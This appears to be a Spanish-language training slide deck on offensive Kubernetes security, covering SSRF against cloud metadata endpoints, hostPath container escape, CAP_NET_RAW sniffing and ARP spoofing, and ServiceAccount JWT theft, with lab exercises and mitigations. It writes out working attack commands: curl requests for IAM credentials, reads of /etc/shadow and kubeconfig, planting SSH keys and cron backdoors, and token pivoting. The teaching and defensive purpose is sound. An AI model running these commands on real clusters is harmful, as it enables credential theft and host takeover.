Técnicas de Ataque

Unidad 5

• SSRF & Metadata • hostPath Abuse • Herramientas

Seguridad Ofensiva en Kubernetes — Técnicas Reales de Pentesting

Agenda

Contenido de la Unidad 5 — Técnicas Ofensivas en Kubernetes

SSRF & Acceso a Cloud Metadata
Explotación de IMDS, robo de credenciales IAM, hostPath abuse y escape al host
01

Herramientas Ofensivas Automatizadas
kube-hunter, peirates, kubeaudit, kube-bench, trivy, kubeletctl
02

Tráfico HTTP, Capabilities & JWT Tokens
Sniffing con CAP_NET_RAW, ARP spoofing, robo de tokens JWT y pivoting
03

4 Labs + Lab Extra (Herramientas)
Escenarios de ataque real con explotación paso a paso + herramientas ofensivas
04

Acceso a Cloud Metadata & SSRF

El endpoint 169.254.169.254 es la joya de la corona en la nube

Cada instancia en AWS/GCP/Azure tiene un Instance Metadata Service (IMDS) en 169.254.169.254. Un Pod puede acceder a este endpoint y robar credenciales del nodo.

AWS (EC2 / EKS)

```
curl http://169.254.169.254/latest/meta-
data/
curl .../iam/security-credentials/<role>
→ AccessKeyId, SecretAccessKey, Token
⚠ IMDSv1: sin autenticación!
```

GCP (GCE / GKE)

```
curl -H 'Metadata-Flavor: Google' \

http://169.254.169.254/computeMetadata/v1/
→ project-id, service-account tokens
→ access_token para GCP APIs
```

Azure (VM / AKS)

```
curl -H 'Metadata: true' \
  http://169.254.169.254/metadata/
  instance?api-version=2021-02-01
→ subscriptionId, identity tokens
```

SSRF (Server-Side Request Forgery): ocurre cuando una aplicación permite que un usuario controle la URL a la que el servidor realiza una petición HTTP, un atacante puede redirigir la petición a 169.254.169.254 y exfiltrar credenciales del nodo.

https://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ------- Enumerar Roles en IAM (AWS)

https://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver-role ------ Obtener credenciales del ROL

SSRF Attack Flow en Kubernetes

De una vulnerabilidad web a credenciales de la nube

1 Vulnerabilidad SSRF

La aplicación permite que el Usuario controle una URL que el servidor consulta

Ejemplo:

/api/fetch?url=<user_input>

2 Redirect a IMDS

El atacante redirige la petición al IMDS

Ejemplo:

http://169.254.169.254/latest/meta-data/iam/...

3 Credenciales Expuestas

El IMDS devuelve credenciales temporales del IAM ROLE

AccessKeyId
SecretAccessKey
SessionToken

4 Acceso a Cloud APIs

El atacante usa las credenciales para acceder a servicios de la nube.

Ejemplo:

aws s3 ls
aws ec2 describe-instances
→ CONTROL TOTAL

Mitigación SSRF & Metadata

IMDSv2 (AWS)

Requiere token de session para acceder al IMDS – Reduce ataques SSRF Simples

NetworkPolicy

Bloquear acceso a 169.254.169.254 desde Pods

Validación de URLs

Permitir solo dominios confiables y bloquear Ips internas.

Workload Identity

Asignar credenciales por aplicación en lugar de usar las del nodo.

Abuso del hostPath

Cuando un volumen te da las llaves del reino

hostPath permite montar directorios del nodo dentro de un Pod. SI un atacante compromete el Pod, puede acceder o modificar archivos del host.

❌ YAML Vulnerable

```yaml
# ⚠ VULNERABLE: hostPath monta /
volumes:
  - name: host-root
    hostPath:
      path: /              # ⚠ Acceso total al Host!
      type: Directory
volumeMounts:
  - name: host-root
    mountPath: /host
    readOnly: false        # ⚠ Permite Escritura!
```

⚠ Vectores de Explotación

```bash
# Qué puede hacer el atacante:

# 1. Leer credenciales del host
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf

# 2. Leer tokens de otros Pods
find /host/var/lib/kubelet/pods/ \
  -name 'token' -exec cat {} \;

# 3. Escribir crontab para persistencia
echo '* * * * * /tmp/backdoor' \
```

📊 Niveles de Riesgo por Ruta hostPath

`/`	CRÍTICO
Acceso total al host	
`/etc`	ALTO
Credenciales, configs del nodo	
`/var/log`	MEDIO
Logs con info sensible	
`/var/run/docker.sock`	CRÍTICO
Control del container runtime	

Container Escape via hostPath

De un Pod comprometido al control total del nodo

1 Acceso al Pod

El atacante obtiene ejecución dentro de un Pod

RCE o kubectl exec en Pod con hostPath: /

2 Leer /etc/shadow

El atacante accede al filesystem del nodo desde el contenedor

cat /host/etc/shadow → hashes de usuarios del host

3 Escribir SSH Key

El atacante agrega su clave SSH al Usuario root del nodo

echo 'ssh-rsa ...' >> /host/root/.ssh/authorized_keys

4 SSH al Host

El atacante se conecta directamente al nodo

ssh root@<node-ip> → acceso completo al nodo

5 Pivot al Cluster

El atacante utiliza credenciales del nodo para controlar el cluster

kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes

Defensas contra hostPath Abuse

Pod Security Admission (PSA)

enforce: restricted prohíbe hostPath. enforce: baseline lo permite pero advierte.

OPA / Kyverno Policies

Políticas custom para bloquear rutas peligrosas: /, /etc, /var/run/docker.sock.

readOnly: true

Si hostPath es necesario (logs), montarlo SIEMPRE como readOnly: true.

Auditoría con kube-bench

CIS Benchmark 1.1.12: verificar que no existan hostPath en Deployments.

Herramientas Ofensivas Automatizadas

Arsenales de pentesting para Kubernetes

kube-hunter

Scanner de vulnerabilidades K8s. Ejecuta desde dentro o fuera del cluster. Detecta tokens expuestos, API servers abiertos, dashboards sin auth.

```
# Desde dentro del cluster
kube-hunter --pod

# Remoto
kube-hunter --remote <ip>

# Reporte
kube-hunter --report json
```

peirates

Post-explotación K8s. Enumeración automática de SA tokens, secrets, cloud metadata. Movimiento lateral, pivoting y escalada de privilegios.

```
# Lanzar en Pod comprometido
./peirates

# Opciones automáticas:
[1] Get SA token
[2] List secrets
[3] Mount cloud metadata
[4] Create priv pod
```

kubeletctl

Interacción directa con la Kubelet API (puerto 10250). Ejecutar comandos en contenedores sin pasar por el API Server.

```
# Escanear kubelets
kubeletctl scan --cidr 10.0.0.0/24

# Ejecutar comando
kubeletctl exec \
  /bin/sh -c 'id' \
  -p <pod> -c <container>
```

Tráfico Interno: HTTP Plano = Peligro

Sin mTLS, un atacante en un Pod puede sniffear todo el tráfico del namespace

⚠ Sniffing de Tráfico Interno

```
# Desde un Pod comprometido:

# 1. Capturar tráfico con tcpdump
tcpdump -i eth0 -A -s0 port 80

# 2. Filtrar credenciales HTTP
tcpdump -i eth0 -A | grep -i \
  'password\|token\|auth\|cookie'

# 3. Capturar headers de Authorization
tcpdump -i eth0 -A | grep -i \
  'Authorization: Bearer'
```

🔍 Verificar Capabilities

```
# Requisito: CAP_NET_RAW
# Verificar capabilities del container
cat /proc/1/status | grep Cap
# CapPrm: 00000000a80425fb

# Decodificar capabilities
capsh --decode=00000000a80425fb
# → cap_net_raw (bit 13) ✓
# → Permite: tcpdump, raw sockets
# → Permite: ARP spoofing
```

🎯 Qué puede capturar un atacante con sniffing

HTTP entre microservicios

Credenciales, API keys, datos de usuario en texto plano

gRPC sin TLS

Protobuf decodificable, tokens en metadata headers.
Protobuf, es una forma compacta y binaria de enviar datos entre servicios.
(Codificados)

Redis/MongoDB sin auth

Datos en texto plano, comandos de control

DNS queries

Revelan qué servicios está consultando cada Pod

Abuso de Capabilities en Linux

Las capabilities determinan qué acciones privilegiadas puede realizar un contenedor en el sistema.

Linux divide los privilegios de 'root' en permisos pequeños llamados capabilities.
Si un contenedor recibe demasiadas, puede volverse peligroso.

Capability	Riesgo	Qué Permite	Herramientas
CAP_NET_RAW	ALTO	Permite capturar o manipular tráfico de red.	tcpdump, arpspoof, scapy
CAP_SYS_PTRACE	CRÍTICO	Trazar procesos: leer memoria de otros containers en el mismo Pod (shareProcessNamespace). Inyectar código.	strace, /proc/PID/mem, gdb
CAP_SYS_ADMIN	CRÍTICO	Equivalente a root casi completo. Mount filesystems, cgroups escape, namespace manipulation.	mount, nsenter, unshare
CAP_DAC_OVERRIDE	ALTO	Bypass de permisos de archivos. Leer/escribir cualquier archivo ignorando permisos Unix.	cat /etc/shadow (bypass)
CAP_NET_ADMIN	ALTO	Permite cambiar la configuración de red del contenedor: iptables, rutas, interfaces. Redirigir tráfico, crear túneles, MITM.	iptables, ip route, tc
CAP_SETUID/GID	MEDIO	Permite cambiar la identidad del proceso (usuario/grupo). UID/GID del proceso. Escalar a root dentro del container.	setuid binary, su

"Buenas prácticas: eliminar todas las capabilities por defecto y agregar solo las estrictamente necesarias.
Defensa: capabilities: { drop: ["ALL"] } + agregar SOLO las necesarias (add: ["NET_BIND_SERVICE"])

CAP_NET_RAW: Sniffing & ARP Spoofing

La capability más común y más peligrosa en containers

⚠ ARP Spoofing Attack

```
# ARP Spoofing desde un Pod
# Requiere: CAP_NET_RAW

# 1. Preparar el host para reenviar paquetes
echo 1 > /proc/sys/net/ipv4/ip_forward

# 2. Envenenar ARP (suplantación ARP) para "convencer" a la víctima de que
el atacante es el gateway
arpspoof -i eth0 -t <victim-pod-ip> \
  <gateway-ip>

# 3. Capturar tráfico que ahora atraviesa el atacante
tcpdump -i eth0 -w capture.pcap
```

✅ Mitigación

```
# ✅ Pod sin CAP_NET_RAW
securityContext:
  capabilities:
    drop: ["ALL"]        # ✅ Elimina todas las capabilities
    add: []              # ✅ No agrega privilegios

# ✅ PSA restricted elimina NET_RAW
# Bloquea capabilities peligrosas
# Automático en modo restricted

# ✅ Cilium CNI puede bloquear ARP
# Antispoofing en kernel

# ✅ mTLS (Istio/Linkerd) cifra
# Cifra tráfico interno
# Mitiga sniffing efectivo
```

🔗 Cadena: CAP_NET_RAW → ARP Spoof → MITM → Capturar credenciales HTTP → Movimiento Lateral

1. ARP Spoof

Envenenar tabla ARP de la víctima para redirigir tráfico.
El atacante se hace pasar por otro equipo en la red. Redirige el tráfico hacia él para interceptarlo.

→

2. MITM

Todo el tráfico de la víctima pasa por el atacante

→

3. Capturar

tcpdump/tshark extrae credenciales, tokens, API keys

→

4. Reutilizar

Tokens capturados se usan para impersonar la víctima

Abuso de JWT & ServiceAccount Tokens

El token JWT es la identidad del Pod frente al API Server.

Cada Pod recibe automáticamente un token firmado por el API Server. Ese token representa su identidad (ServiceAccount). Robarlo es como robar su credencial de acceso.

Extraer Token JWT

```
# Ubicación del token en el Pod
cat /var/run/secrets/kubernetes.io\
  /serviceaccount/token

# Decodificar JWT (base64 del payload)
echo $TOKEN | cut -d. -f2 | \
  base64 -d 2>/dev/null | jq .
```

JWT Payload

```
# Contenido del JWT decodificado:
{
  "iss": "kubernetes/serviceaccount",
  "sub": "system:serviceaccount:
         prod:api-sa",
  "exp": 1739380800,
  "aud": ["https://kubernetes.default"]
}
```

Vectores de Ataque sobre JWT

Robo directo

Si un atacante compromete el Pod, puede leer el token desde el filesystem.

Proyected vs Legacy

Los tokens antiguos no expiraban. Los tokens modernos tienen tiempo limitado (TTL).

Token en env vars

Copiar el token a variables de entorno lo hace más fácil de robar.

Reutilización

Si el token tiene permisos, puede usarse desde fuera del cluster para acceder al API Server.

Laboratorios Prácticos

4 escenarios de ataque real con explotación y remediación

01

SSRF & Cloud Metadata

Explotación de SSRF para acceder al IMDS (169.254.169.254), robo de credenciales de nodo cloud

02

hostPath Abuse — Escape al Host

Montaje de filesystem del host, lectura de secretos del nodo, escritura de SSH keys para acceso

03

Abuso de CAP_NET_RAW — Sniffing

Pod con CAP_NET_RAW captura tráfico HTTP entre microservicios, interceptando credenciales y tokens

04

JWT Token Theft & Pivoting

Robo de JWT de ServiceAccount para pivotar entre namespaces y acceder a Secrets de producción

Lab 1: SSRF & Acceso a Cloud Metadata

Escenario: App vulnerable a SSRF que accede al IMDS

❌ Deployment Vulnerable

```yaml
# ⚠ App vulnerable a SSRF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: ssrf-app
  namespace: lab2-ssrf
spec:
  template:
    spec:
      containers:
        - name: webapp                  # contenedor vulnerable
          image: python:3.11-slim       # imagen con app python vulnerable
          # App que hace fetch de URLs
          # sin validación de input
          # ⚠ Sin NetworkPolicy egress
```

⚠ Explotación SSRF → IMDS

```bash
# ⚠ ATAQUE: Explotar SSRF

# 1. SSRF al IMDS de AWS
curl 'http://ssrf-app/fetch?url=\
  http://169.254.169.254/latest/\
  meta-data/iam/security-credentials/'

# 2. Obtener credenciales del role
curl 'http://ssrf-app/fetch?url=\
  http://169.254.169.254/.../node-role'

# → AccessKeyId, SecretAccessKey, Token
```

Remediación SSRF & Metadata

1. NetworkPolicy Egress: bloquear tráfico a 169.254.169.254
2. IMDSv2 en AWS: Requiere token de session para acceder al IMDS (bloquea SSRF simple)
3. Workload Identity (GKE/EKS): Asigna credenciales por aplicación en lugar de usar las del nodo.
4. Validación de URLs: Permitir solo dominios confiables y bloquear Ips internas.
5. WAF rules: detectar patrones de SSRF en URLs de input

Lab 2: hostPath Abuse — Escape al Host

Escenario: Pod con hostPath que monta el filesystem del nodo

❌ Pod con hostPath: /

```yaml
# ⚠ VULNERABLE: hostPath monta /
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
  namespace: lab3-hostpath
spec:
  containers:
    - name: attacker                  # Contenedor atacante
      image: ubuntu:22.04             # Imagen base
      command: ["sleep", "infinity"]
      volumeMounts:
        - name: host-fs
          mountPath: /host            # Montaje host
  volumes:
    - name: host-fs
      hostPath:
        path: /               # ⚠ Monta ROOT Host!
        type: Directory
```

⚠ Cadena de Explotación

```bash
# ⚠ ATAQUE: Explotar hostPath

# 1. Leer credenciales del host
cat /host/etc/shadow
cat /host/root/.ssh/id_rsa

# 2. Leer kubeconfig del nodo
cat /host/etc/kubernetes/admin.conf

# 3. Tokens de OTROS Pods
find /host/var/lib/kubelet/pods \
  -name token -exec cat {} \;

# 4. Inyectar SSH key para acceso
echo 'ssh-rsa AAAA...' >> \
  /host/root/.ssh/authorized_keys
```

Impacto: Control Total del Nodo

Con hostPath: / el atacante puede: leer TODOS los secretos del nodo, inyectar backdoors persistentes, acceder a tokens de otros Pods, escribir crontabs maliciosos, instalar SSH keys, y pivotar a otros nodos usando kubeconfig del host. Es equivalente a un root shell en el nodo.

Lab 3: Abuso de CAP_NET_RAW

Pod con capabilities para sniffear tráfico HTTP entre microservicios

❌ Pod con Capabilities Peligrosas

```yaml
# ⚠ Pod con CAP_NET_RAW
apiVersion: v1
kind: Pod
metadata:
  name: sniffer-pod
  namespace: lab1-caps
spec:
  containers:
    - name: sniffer
      image: nicolaka/netshoot        # ⚠ Contenedor con tools de red
      command: ["sleep","infinity"]
      securityContext:
        capabilities:
          add: ["NET_RAW","NET_ADMIN"] # ⚠ Capabilities de red elevadas
      # ⚠ Puede: tcpdump, arpspoof
      # ⚠ Sin NetworkPolicy
```

⚠ Cadena de Ataque

```bash
# ⚠ ATAQUE: Sniffing de tráfico

# 1. Capturar TODO el tráfico HTTP
tcpdump -i eth0 -A port 80 2>/dev/null

# 2. Filtrar credenciales
tcpdump -i eth0 -A | grep -iE \
  'password|token|auth|cookie|bearer'

# 3. Capturar requests a la API
tcpdump -i eth0 -A port 8080 | \
  grep -A5 'POST /api/login'
```

⚠ Impacto: Todo el tráfico HTTP del namespace es visible

Con CAP_NET_RAW, el atacante puede capturar credenciales de login, tokens Bearer, API keys, cookies de sesión, datos de usuario (PII), queries a bases de datos, y cualquier otro dato transmitido en HTTP plano entre microservicios. También puede hacer ARP spoofing para redirigir tráfico de Pods vecinos.

Lab 4: JWT Token Theft & Pivoting

Robar el token JWT de un Pod y pivotar a otro namespace

❌ SA con Permisos Cross-Namespace

```yaml
# ⚠ Pod con SA que tiene permisos
# en otro namespace
apiVersion: v1
kind: ServiceAccount              # Cuenta servicio
metadata:
  name: cross-ns-sa               # SA reutilizable
  namespace: lab2-jwt             # Namespace origen
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: secret-reader             # Rol leer secrets
rules:
  - apiGroups: [""]
    resources: ["secrets"]       # Recurso sensible
    verbs: ["get","list"]  # ⚠ Todos NS
```

⚠ Token Pivoting

```bash
# ⚠ ATAQUE: Robar y reutilizar token

# 1. Extraer token JWT
TOKEN=$(cat /var/run/secrets/\
  kubernetes.io/serviceaccount/token)

# 2. Decodificar payload JWT
echo $TOKEN | cut -d. -f2 | base64 -d

# 3. Enumerar permisos RBAC
kubectl --token=$TOKEN auth can-i --list

# 4. PIVOTAR: leer secrets de prod!
kubectl --token=$TOKEN get secrets -n prod
```

Remediación

1. automountServiceAccountToken: false — no montar token si no es necesario
2. Roles (no ClusterRoles) — permisos por namespace, nunca cross-namespace
3. Projected tokens con TTL corto — expirationSeconds: 3600
4. RBAC Audit — revisar periódicamente qué SA tienen permisos en qué NS
5. Token Review API — monitorear uso de tokens y detectar reutilización

Resumen de Laboratorios

Vulnerabilidad → Vector de Ataque → Mitigación

Lab	Vulnerabilidad	Vector de Ataque	Mitigación
Lab 1	App con SSRF + sin bloqueo a metadata endpoint	SSRF → 169.254.169.254 → robar credenciales IAM del nodo	NetworkPolicy block IMDS + IMDSv2 + Workload Identity + URL validation
Lab 2	Pod con hostPath: / montando root del host	Leer /etc/shadow, tokens, kubeconfig → SSH key → root en host	PSA restricted + Kyverno deny hostPath + distroless + non-root

Cada lab incluye: vulnerable YAML + guía de explotación + YAML seguro + script automatizado

Archivos disponibles en: Unidad-5/lab{1,2,3,4}/ y Unidad-5/lab-extra/

Conclusiones Clave

6 lecciones de seguridad ofensiva en Kubernetes

El metadata endpoint es crítico

169.254.169.254 puede entregar credenciales cloud completas. Bloquear con NetworkPolicy y usar Workload Identity.

hostPath = acceso al host

Montar el filesystem del nodo es equivalente a dar root en la máquina. PSA restricted lo bloquea automáticamente.

Automatizar la seguridad

Integrar kube-hunter, kubeaudit, Trivy y kube-bench en CI/CD para detectar problemas antes de producción.

Defensa en profundidad

Ningún control individual es suficiente. Combinar RBAC + PSA + NetworkPolicy + runtime detection + auditoría.

Think Like an Attacker, Defend Like a Pro

Unidad 5 — Completada

SSRF & Metadata • hostPath Abuse • Herramientas

"Conoce los ataques para construir mejores defensas"